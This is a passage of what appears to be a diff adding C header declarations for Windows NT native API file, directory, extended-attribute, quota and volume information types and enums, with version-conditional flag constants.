FileProcessIdsUsingFileInformation, // FILE_PROCESS_IDS_USING_FILE_INFORMATION + FileNormalizedNameInformation, // FILE_NAME_INFORMATION + FileNetworkPhysicalNameInformation, // FILE_NETWORK_PHYSICAL_NAME_INFORMATION + FileIdGlobalTxDirectoryInformation, // FILE_ID_GLOBAL_TX_DIR_INFORMATION // since WIN7 // 50 + FileIsRemoteDeviceInformation, // FILE_IS_REMOTE_DEVICE_INFORMATION + FileUnusedInformation, + FileNumaNodeInformation, // FILE_NUMA_NODE_INFORMATION + FileStandardLinkInformation, // FILE_STANDARD_LINK_INFORMATION + FileRemoteProtocolInformation, // FILE_REMOTE_PROTOCOL_INFORMATION + FileRenameInformationBypassAccessCheck, // (kernel-mode only); FILE_RENAME_INFORMATION // since WIN8 + FileLinkInformationBypassAccessCheck, // (kernel-mode only); FILE_LINK_INFORMATION + FileVolumeNameInformation, // FILE_VOLUME_NAME_INFORMATION + FileIdInformation, // FILE_ID_INFORMATION + FileIdExtdDirectoryInformation, // FILE_ID_EXTD_DIR_INFORMATION // 60 + FileReplaceCompletionInformation, // FILE_COMPLETION_INFORMATION // since WINBLUE + FileHardLinkFullIdInformation, // FILE_LINK_ENTRY_FULL_ID_INFORMATION + FileIdExtdBothDirectoryInformation, // FILE_ID_EXTD_BOTH_DIR_INFORMATION // since THRESHOLD + FileDispositionInformationEx, // FILE_DISPOSITION_INFO_EX // since REDSTONE + FileRenameInformationEx, // FILE_RENAME_INFORMATION_EX + FileRenameInformationExBypassAccessCheck, // (kernel-mode only); FILE_RENAME_INFORMATION_EX + FileDesiredStorageClassInformation, // FILE_DESIRED_STORAGE_CLASS_INFORMATION // since REDSTONE2 + FileStatInformation, // FILE_STAT_INFORMATION + FileMemoryPartitionInformation, // FILE_MEMORY_PARTITION_INFORMATION // since REDSTONE3 + FileStatLxInformation, // FILE_STAT_LX_INFORMATION // since REDSTONE4 // 70 + FileCaseSensitiveInformation, // FILE_CASE_SENSITIVE_INFORMATION + FileLinkInformationEx, // FILE_LINK_INFORMATION_EX // since REDSTONE5 + FileLinkInformationExBypassAccessCheck, // (kernel-mode only); FILE_LINK_INFORMATION_EX + FileStorageReserveIdInformation, // FILE_SET_STORAGE_RESERVE_ID_INFORMATION + FileCaseSensitiveInformationForceAccessCheck, // FILE_CASE_SENSITIVE_INFORMATION + FileMaximumInformation +} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; + +// NtQueryInformationFile/NtSetInformationFile types + +typedef struct _FILE_BASIC_INFORMATION +{ + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; + +typedef struct _FILE_STANDARD_INFORMATION +{ + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; +} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION; + +typedef struct _FILE_STANDARD_INFORMATION_EX +{ + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; + BOOLEAN AlternateStream; + BOOLEAN MetadataAttribute; +} FILE_STANDARD_INFORMATION_EX, *PFILE_STANDARD_INFORMATION_EX; + +typedef struct _FILE_INTERNAL_INFORMATION +{ + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; + +typedef struct _FILE_EA_INFORMATION +{ + ULONG EaSize; +} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; + +typedef struct _FILE_ACCESS_INFORMATION +{ + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; + +typedef struct _FILE_POSITION_INFORMATION +{ + LARGE_INTEGER CurrentByteOffset; +} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; + +typedef struct _FILE_MODE_INFORMATION +{ + ULONG Mode; +} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; + +typedef struct _FILE_ALIGNMENT_INFORMATION +{ + ULONG AlignmentRequirement; +} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; + +typedef struct _FILE_NAME_INFORMATION +{ + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; + +typedef struct _FILE_ALL_INFORMATION +{ + FILE_BASIC_INFORMATION BasicInformation; + FILE_STANDARD_INFORMATION StandardInformation; + FILE_INTERNAL_INFORMATION InternalInformation; + FILE_EA_INFORMATION EaInformation; + FILE_ACCESS_INFORMATION AccessInformation; + FILE_POSITION_INFORMATION PositionInformation; + FILE_MODE_INFORMATION ModeInformation; + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; + +typedef struct _FILE_NETWORK_OPEN_INFORMATION +{ + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; +} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; + +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION +{ + ULONG FileAttributes; + ULONG ReparseTag; +} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; + +typedef struct _FILE_ALLOCATION_INFORMATION +{ + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; + +typedef struct _FILE_COMPRESSION_INFORMATION +{ + LARGE_INTEGER CompressedFileSize; + USHORT CompressionFormat; + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved[3]; +} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; + +typedef struct _FILE_DISPOSITION_INFORMATION +{ + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; + +typedef struct _FILE_END_OF_FILE_INFORMATION +{ + LARGE_INTEGER EndOfFile; +} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; + +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION +{ + LARGE_INTEGER ValidDataLength; +} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; + +typedef struct _FILE_LINK_INFORMATION +{ + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; + +#if (PHNT_VERSION >= PHNT_REDSTONE5) +#define FILE_LINK_REPLACE_IF_EXISTS 0x00000001 +#define FILE_LINK_POSIX_SEMANTICS 0x00000002 +#define FILE_LINK_SUPPRESS_STORAGE_RESERVE_INHERITANCE 0x00000008 +#define FILE_LINK_NO_INCREASE_AVAILABLE_SPACE 0x00000010 +#define FILE_LINK_NO_DECREASE_AVAILABLE_SPACE 0x00000020 +#define FILE_LINK_PRESERVE_AVAILABLE_SPACE 0x00000030 +#define FILE_LINK_IGNORE_READONLY_ATTRIBUTE 0x00000040 +#endif + +#if (PHNT_VERSION >= PHNT_19H1) +#define FILE_LINK_FORCE_RESIZE_TARGET_SR 0x00000080 +#define FILE_LINK_FORCE_RESIZE_SOURCE_SR 0x00000100 +#define FILE_LINK_FORCE_RESIZE_SR 0x00000180 +#endif + +typedef struct _FILE_LINK_INFORMATION_EX +{ + ULONG Flags; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION_EX, *PFILE_LINK_INFORMATION_EX; + +typedef struct _FILE_MOVE_CLUSTER_INFORMATION +{ + ULONG ClusterCount; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; + +typedef struct _FILE_RENAME_INFORMATION +{ + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; + +#if (PHNT_VERSION >= PHNT_REDSTONE) +#define FILE_RENAME_REPLACE_IF_EXISTS 0x00000001 +#define FILE_RENAME_POSIX_SEMANTICS 0x00000002 +#endif + +#if (PHNT_VERSION >= PHNT_REDSTONE3) +#define FILE_RENAME_SUPPRESS_PIN_STATE_INHERITANCE 0x00000004 +#endif + +#if (PHNT_VERSION >= PHNT_REDSTONE5) +#define FILE_RENAME_SUPPRESS_STORAGE_RESERVE_INHERITANCE 0x00000008 +#define FILE_RENAME_NO_INCREASE_AVAILABLE_SPACE 0x00000010 +#define FILE_RENAME_NO_DECREASE_AVAILABLE_SPACE 0x00000020 +#define FILE_RENAME_PRESERVE_AVAILABLE_SPACE 0x00000030 +#define FILE_RENAME_IGNORE_READONLY_ATTRIBUTE 0x00000040 +#endif + +#if (_WIN32_WINNT >= PHNT_19H1) +#define FILE_RENAME_FORCE_RESIZE_TARGET_SR 0x00000080 +#define FILE_RENAME_FORCE_RESIZE_SOURCE_SR 0x00000100 +#define FILE_RENAME_FORCE_RESIZE_SR 0x00000180 +#endif + +typedef struct _FILE_RENAME_INFORMATION_EX +{ + ULONG Flags; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION_EX, *PFILE_RENAME_INFORMATION_EX; + +typedef struct _FILE_STREAM_INFORMATION +{ + ULONG NextEntryOffset; + ULONG StreamNameLength; + LARGE_INTEGER StreamSize; + LARGE_INTEGER StreamAllocationSize; + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; + +typedef struct _FILE_TRACKING_INFORMATION +{ + HANDLE DestinationFile; + ULONG ObjectInformationLength; + CHAR ObjectInformation[1]; +} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; + +typedef struct _FILE_COMPLETION_INFORMATION +{ + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; + +typedef struct _FILE_PIPE_INFORMATION +{ + ULONG ReadMode; + ULONG CompletionMode; +} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; + +typedef struct _FILE_PIPE_LOCAL_INFORMATION +{ + ULONG NamedPipeType; + ULONG NamedPipeConfiguration; + ULONG MaximumInstances; + ULONG CurrentInstances; + ULONG InboundQuota; + ULONG ReadDataAvailable; + ULONG OutboundQuota; + ULONG WriteQuotaAvailable; + ULONG NamedPipeState; + ULONG NamedPipeEnd; +} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; + +typedef struct _FILE_PIPE_REMOTE_INFORMATION +{ + LARGE_INTEGER CollectDataTime; + ULONG MaximumCollectionCount; +} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; + +typedef struct _FILE_MAILSLOT_QUERY_INFORMATION +{ + ULONG MaximumMessageSize; + ULONG MailslotQuota; + ULONG NextMessageSize; + ULONG MessagesAvailable; + LARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; + +typedef struct _FILE_MAILSLOT_SET_INFORMATION +{ + PLARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; + +typedef struct _FILE_REPARSE_POINT_INFORMATION +{ + LONGLONG FileReference; + ULONG Tag; +} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; + +typedef struct _FILE_LINK_ENTRY_INFORMATION +{ + ULONG NextEntryOffset; + LONGLONG ParentFileId; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_ENTRY_INFORMATION, *PFILE_LINK_ENTRY_INFORMATION; + +typedef struct _FILE_LINKS_INFORMATION +{ + ULONG BytesNeeded; + ULONG EntriesReturned; + FILE_LINK_ENTRY_INFORMATION Entry; +} FILE_LINKS_INFORMATION, *PFILE_LINKS_INFORMATION; + +typedef struct _FILE_NETWORK_PHYSICAL_NAME_INFORMATION +{ + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NETWORK_PHYSICAL_NAME_INFORMATION, *PFILE_NETWORK_PHYSICAL_NAME_INFORMATION; + +typedef struct _FILE_STANDARD_LINK_INFORMATION +{ + ULONG NumberOfAccessibleLinks; + ULONG TotalNumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; +} FILE_STANDARD_LINK_INFORMATION, *PFILE_STANDARD_LINK_INFORMATION; + +typedef struct _FILE_SFIO_RESERVE_INFORMATION +{ + ULONG RequestsPerPeriod; + ULONG Period; + BOOLEAN RetryFailures; + BOOLEAN Discardable; + ULONG RequestSize; + ULONG NumOutstandingRequests; +} FILE_SFIO_RESERVE_INFORMATION, *PFILE_SFIO_RESERVE_INFORMATION; + +typedef struct _FILE_SFIO_VOLUME_INFORMATION +{ + ULONG MaximumRequestsPerPeriod; + ULONG MinimumPeriod; + ULONG MinimumTransferSize; +} FILE_SFIO_VOLUME_INFORMATION, *PFILE_SFIO_VOLUME_INFORMATION; + +typedef enum _IO_PRIORITY_HINT +{ + IoPriorityVeryLow = 0, // Defragging, content indexing and other background I/Os. + IoPriorityLow, // Prefetching for applications. + IoPriorityNormal, // Normal I/Os. + IoPriorityHigh, // Used by filesystems for checkpoint I/O. + IoPriorityCritical, // Used by memory manager. Not available for applications. + MaxIoPriorityTypes +} IO_PRIORITY_HINT; + +typedef struct _FILE_IO_PRIORITY_HINT_INFORMATION +{ + IO_PRIORITY_HINT PriorityHint; +} FILE_IO_PRIORITY_HINT_INFORMATION, *PFILE_IO_PRIORITY_HINT_INFORMATION; + +typedef struct _FILE_IO_PRIORITY_HINT_INFORMATION_EX +{ + IO_PRIORITY_HINT PriorityHint; + BOOLEAN BoostOutstanding; +} FILE_IO_PRIORITY_HINT_INFORMATION_EX, *PFILE_IO_PRIORITY_HINT_INFORMATION_EX; + +#define FILE_SKIP_COMPLETION_PORT_ON_SUCCESS 0x1 +#define FILE_SKIP_SET_EVENT_ON_HANDLE 0x2 +#define FILE_SKIP_SET_USER_EVENT_ON_FAST_IO 0x4 + +typedef struct _FILE_IO_COMPLETION_NOTIFICATION_INFORMATION +{ + ULONG Flags; +} FILE_IO_COMPLETION_NOTIFICATION_INFORMATION, *PFILE_IO_COMPLETION_NOTIFICATION_INFORMATION; + +typedef struct _FILE_PROCESS_IDS_USING_FILE_INFORMATION +{ + ULONG NumberOfProcessIdsInList; + ULONG_PTR ProcessIdList[1]; +} FILE_PROCESS_IDS_USING_FILE_INFORMATION, *PFILE_PROCESS_IDS_USING_FILE_INFORMATION; + +typedef struct _FILE_IS_REMOTE_DEVICE_INFORMATION +{ + BOOLEAN IsRemote; +} FILE_IS_REMOTE_DEVICE_INFORMATION, *PFILE_IS_REMOTE_DEVICE_INFORMATION; + +typedef struct _FILE_NUMA_NODE_INFORMATION +{ + USHORT NodeNumber; +} FILE_NUMA_NODE_INFORMATION, *PFILE_NUMA_NODE_INFORMATION; + +typedef struct _FILE_IOSTATUSBLOCK_RANGE_INFORMATION +{ + PUCHAR IoStatusBlockRange; + ULONG Length; +} FILE_IOSTATUSBLOCK_RANGE_INFORMATION, *PFILE_IOSTATUSBLOCK_RANGE_INFORMATION; + +typedef struct _FILE_REMOTE_PROTOCOL_INFORMATION +{ + USHORT StructureVersion; // 1 + USHORT StructureSize; + + ULONG Protocol; // WNNC_NET_* + + USHORT ProtocolMajorVersion; + USHORT ProtocolMinorVersion; + USHORT ProtocolRevision; + + USHORT Reserved; + + // Generic information + + ULONG Flags; + + struct + { + ULONG Reserved[8]; + } GenericReserved; + + // Specific information + +#if (PHNT_VERSION < PHNT_WIN8) + struct + { + ULONG Reserved[16]; + } ProtocolSpecificReserved; +#else + union + { + struct + { + struct + { + ULONG Capabilities; + } Server; + struct + { + ULONG Capabilities; + ULONG CachingFlags; + } Share; + } Smb2; + ULONG Reserved[16]; + } ProtocolSpecific; +#endif +} FILE_REMOTE_PROTOCOL_INFORMATION, *PFILE_REMOTE_PROTOCOL_INFORMATION; + +#define CHECKSUM_ENFORCEMENT_OFF 0x00000001 + +typedef struct _FILE_INTEGRITY_STREAM_INFORMATION +{ + USHORT ChecksumAlgorithm; + UCHAR ChecksumChunkShift; + UCHAR ClusterShift; + ULONG Flags; +} FILE_INTEGRITY_STREAM_INFORMATION, *PFILE_INTEGRITY_STREAM_INFORMATION; + +typedef struct _FILE_VOLUME_NAME_INFORMATION +{ + ULONG DeviceNameLength; + WCHAR DeviceName[1]; +} FILE_VOLUME_NAME_INFORMATION, *PFILE_VOLUME_NAME_INFORMATION; + +typedef struct _FILE_ID_INFORMATION +{ + ULONGLONG VolumeSerialNumber; + FILE_ID_128 FileId; +} FILE_ID_INFORMATION, *PFILE_ID_INFORMATION; + +typedef struct _FILE_ID_EXTD_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + ULONG ReparsePointTag; + FILE_ID_128 FileId; + WCHAR FileName[1]; +} FILE_ID_EXTD_DIR_INFORMATION, *PFILE_ID_EXTD_DIR_INFORMATION; + +typedef struct _FILE_LINK_ENTRY_FULL_ID_INFORMATION +{ + ULONG NextEntryOffset; + FILE_ID_128 ParentFileId; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_ENTRY_FULL_ID_INFORMATION, *PFILE_LINK_ENTRY_FULL_ID_INFORMATION; + +typedef struct _FILE_ID_EXTD_BOTH_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + ULONG ReparsePointTag; + FILE_ID_128 FileId; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_ID_EXTD_BOTH_DIR_INFORMATION, *PFILE_ID_EXTD_BOTH_DIR_INFORMATION; + +// private +typedef struct _FILE_STAT_INFORMATION +{ + LARGE_INTEGER FileId; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; + ULONG ReparseTag; + ULONG NumberOfLinks; + ULONG EffectiveAccess; +} FILE_STAT_INFORMATION, *PFILE_STAT_INFORMATION; + +// private +typedef struct _FILE_MEMORY_PARTITION_INFORMATION +{ + HANDLE OwnerPartitionHandle; + union + { + struct + { + UCHAR NoCrossPartitionAccess; + UCHAR Spare[3]; + }; + ULONG AllFlags; + } Flags; +} FILE_MEMORY_PARTITION_INFORMATION, *PFILE_MEMORY_PARTITION_INFORMATION; + +// private +typedef struct _FILE_STAT_LX_INFORMATION +{ + LARGE_INTEGER FileId; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; + ULONG ReparseTag; + ULONG NumberOfLinks; + ULONG EffectiveAccess; + ULONG LxFlags; + ULONG LxUid; + ULONG LxGid; + ULONG LxMode; + ULONG LxDeviceIdMajor; + ULONG LxDeviceIdMinor; +} FILE_STAT_LX_INFORMATION, *PFILE_STAT_LX_INFORMATION; + +// private +typedef struct _FILE_CASE_SENSITIVE_INFORMATION +{ + ULONG Flags; +} FILE_CASE_SENSITIVE_INFORMATION, *PFILE_CASE_SENSITIVE_INFORMATION; + +// NtQueryDirectoryFile types + +typedef struct _FILE_DIRECTORY_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; + +typedef struct _FILE_FULL_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; + +typedef struct _FILE_ID_FULL_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; + +typedef struct _FILE_BOTH_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; + +typedef struct _FILE_NAMES_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; + +typedef struct _FILE_ID_GLOBAL_TX_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + LARGE_INTEGER FileId; + GUID LockingTransactionId; + ULONG TxInfoFlags; + WCHAR FileName[1]; +} FILE_ID_GLOBAL_TX_DIR_INFORMATION, *PFILE_ID_GLOBAL_TX_DIR_INFORMATION; + +#define FILE_ID_GLOBAL_TX_DIR_INFO_FLAG_WRITELOCKED 0x00000001 +#define FILE_ID_GLOBAL_TX_DIR_INFO_FLAG_VISIBLE_TO_TX 0x00000002 +#define FILE_ID_GLOBAL_TX_DIR_INFO_FLAG_VISIBLE_OUTSIDE_TX 0x00000004 + +typedef struct _FILE_OBJECTID_INFORMATION +{ + LONGLONG FileReference; + UCHAR ObjectId[16]; + union + { + struct + { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + }; + UCHAR ExtendedInfo[48]; + }; +} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; + +// NtQueryEaFile/NtSetEaFile types + +typedef struct _FILE_FULL_EA_INFORMATION +{ + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; + +typedef struct _FILE_GET_EA_INFORMATION +{ + ULONG NextEntryOffset; + UCHAR EaNameLength; + CHAR EaName[1]; +} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION; + +// NtQueryQuotaInformationFile/NtSetQuotaInformationFile types + +typedef struct _FILE_GET_QUOTA_INFORMATION +{ + ULONG NextEntryOffset; + ULONG SidLength; + SID Sid; +} FILE_GET_QUOTA_INFORMATION, *PFILE_GET_QUOTA_INFORMATION; + +typedef struct _FILE_QUOTA_INFORMATION +{ + ULONG NextEntryOffset; + ULONG SidLength; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER QuotaUsed; + LARGE_INTEGER QuotaThreshold; + LARGE_INTEGER QuotaLimit; + SID Sid; +} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; + +typedef enum _FSINFOCLASS +{ + FileFsVolumeInformation = 1, // FILE_FS_VOLUME_INFORMATION + FileFsLabelInformation, // FILE_FS_LABEL_INFORMATION + FileFsSizeInformation, // FILE_FS_SIZE_INFORMATION + FileFsDeviceInformation, // FILE_FS_DEVICE_INFORMATION + FileFsAttributeInformation, // FILE_FS_ATTRIBUTE_INFORMATION + FileFsControlInformation, // FILE_FS_CONTROL_INFORMATION + FileFsFullSizeInformation, // FILE_FS_FULL_SIZE_INFORMATION + FileFsObjectIdInformation, // FILE_FS_OBJECTID_INFORMATION + FileFsDriverPathInformation, // FILE_FS_DRIVER_PATH_INFORMATION + FileFsVolumeFlagsInformation, // FILE_FS_VOLUME_FLAGS_INFORMATION // 10 + FileFsSectorSizeInformation, // FILE_FS_SECTOR_SIZE_INFORMATION // since WIN8 + FileFsDataCopyInformation, // FILE_FS_DATA_COPY_INFORMATION + FileFsMetadataSizeInformation, // FILE_FS_METADATA_SIZE_INFORMATION // since THRESHOLD + FileFsFullSizeInformationEx, // FILE_FS_FULL_SIZE_INFORMATION_EX // since REDSTONE5 + FileFsMaximumInformation +} FSINFOCLASS, *PFSINFOCLASS; + +// NtQueryVolumeInformation/NtSetVolumeInformation types + +// private +typedef struct _FILE_FS_VOLUME_INFORMATION +{ + LARGE_INTEGER VolumeCreationTime; + ULONG VolumeSerialNumber; + ULONG VolumeLabelLength; + BOOLEAN SupportsObjects; + WCHAR VolumeLabel[1]; +} FILE_FS_VOLUME_INFORMATION, *PFILE_FS_VOLUME_INFORMATION; + +// private +typedef struct _FILE_FS_LABEL_INFORMATION +{ + ULONG VolumeLabelLength; + WCHAR VolumeLabel[1]; +} FILE_FS_LABEL_INFORMATION, * PFILE_FS_LABEL_INFORMATION; + +// private +typedef struct _FILE_FS_SIZE_INFORMATION +{ + LARGE_INTEGER TotalAllocationUnits; + LARGE_INTEGER AvailableAllocationUnits; + ULONG SectorsPerAllocationUnit; + ULONG BytesPerSector; +} FILE_FS_SIZE_INFORMATION, *PFILE_FS_SIZE_INFORMATION; + +// private +typedef struct _FILE_FS_CONTROL_INFORMATION +{ + LARGE_INTEGER FreeSpaceStartFiltering; + LARGE_INTEGER FreeSpaceThreshold; + LARGE_INTEGER FreeSpaceStopFiltering; + LARGE_INTEGER DefaultQuotaThreshold; + LARGE_INTEGER DefaultQuotaLimit; + ULONG FileSystemControlFlags; +} FILE_FS_CONTROL_INFORMATION, *PFILE_FS_CONTROL_INFORMATION; + +// private +typedef struct _FILE_FS_FULL_SIZE_INFORMATION +{ + LARGE_INTEGER TotalAllocationUnits; + LARGE_INTEGER CallerAvailableAllocationUnits; + LARGE_INTEGER ActualAvailableAllocationUnits; + ULONG SectorsPerAllocationUnit; + ULONG BytesPerSector; +} FILE_FS_FULL_SIZE_INFORMATION, *PFILE_FS_FULL_SIZE_INFORMATION; + +// private +typedef struct _FILE_FS_OBJECTID_INFORMATION +{ + UCHAR ObjectId[16]; + UCHAR ExtendedInfo[48]; +} FILE_FS_OBJECTID_INFORMATION, *PFILE_FS_OBJECTID_INFORMATION; + +// private +typedef struct _FILE_FS_DEVICE_INFORMATION +{ + DEVICE_TYPE DeviceType; + ULONG Characteristics; +} FILE_FS_DEVICE_INFORMATION, *PFILE_FS_DEVICE_INFORMATION; + +// private +typedef struct _FILE_FS_ATTRIBUTE_INFORMATION +{ + ULONG FileSystemAttributes; + LONG MaximumComponentNameLength; + ULONG FileSystemNameLength; + WCHAR FileSystemName[1]; +} FILE_FS_ATTRIBUTE_INFORMATION, *PFILE_FS_ATTRIBUTE_INFORMATION; + +// private +typedef struct _FILE_FS_DRIVER_PATH_INFORMATION +{ + BOOLEAN DriverInPath; + ULONG DriverNameLength; + WCHAR DriverName[1]; +} FILE_FS_DRIVER_PATH_INFORMATION, 